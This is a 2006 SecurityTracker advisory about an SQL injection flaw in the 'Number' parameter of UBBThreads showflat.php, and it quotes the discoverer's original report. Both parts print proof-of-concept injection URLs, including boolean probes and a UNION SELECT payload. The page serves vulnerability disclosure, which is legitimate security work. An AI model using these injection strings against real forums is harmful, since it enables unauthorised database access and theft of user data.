SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   UBBThreads Vendors:   Groupee.com
UBBThreads Input Validation Hole in 'showflat.php' Permits SQL Injection Attacks
SecurityTracker Alert ID:  1015549
SecurityTracker URL:  http://securitytracker.com/id/1015549
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 29 2006
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Exploit Included:  Yes  
Version(s): 6.3 and prior versions
Description:   k-otik of The Noxistes Team reported a vulnerability in UBBThreads. A remote user can inject SQL commands.

The 'showflat.php' script does not properly validate user-supplied input in the 'Number' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

A demonstration exploit URL is provided:

http://[target]/[forum]/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1

Impact:   A remote user can execute SQL commands on the underlying database.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.ubbcentral.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Hello

UBB Forum SQL Injection Vulnerability

################################################
 
Software: UBB Forum
Sowtware's Web Site: http://www.ubbcentral.com/
Versions: 6.3 and lower certainly
Critical Level: Moderate
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: k-otik (http://www.noxistes.org)

Mail: kotik17@gmail.com
 
-----------------Description---------------
Vulnerable script: showflat.php
Variable $Number isn't properly sanitized before being used in a SQL
query. This can be used to make any SQL query by injecting arbitrary SQL
code.
 
Proof of concept:
[infos, 19229 is an arbitrary value of Number]

http://[domaine]/[forum]/showflat.php?Cat=&Number=19229'&page=0'&view=collapsed&sb=5&o=&fpart=1
The url above generates an SQL Error.
Debug => SQL ERROR: Sat, Jan 28 2006 20:59:20 -0800 Database error only visible to forum administrators

We can successfully inject arbritrary SQL code.
Return false: http://[domaine]/[forum]/showflat.php?Cat=&Number=19229%20and%201=2&page=0&view=collapsed&sb=5&o=&fpart=1
Return true: http://[domaine]/[forum]/showflat.php?Cat=&Number=19229%20and%201=1&page=0'&view=collapsed&sb=5&o=&fpart=1
 
Exploit:
http://[domaine]/[forum]/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1

--------------Solution---------------------
No Patch available.
 
--------------Credit-----------------------
The Noxistes Team.

We are N-0-X, Warfo, Tchess, Logik and k-otik
 
Discovered by: k-otik (http://www.noxistes.org) 
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC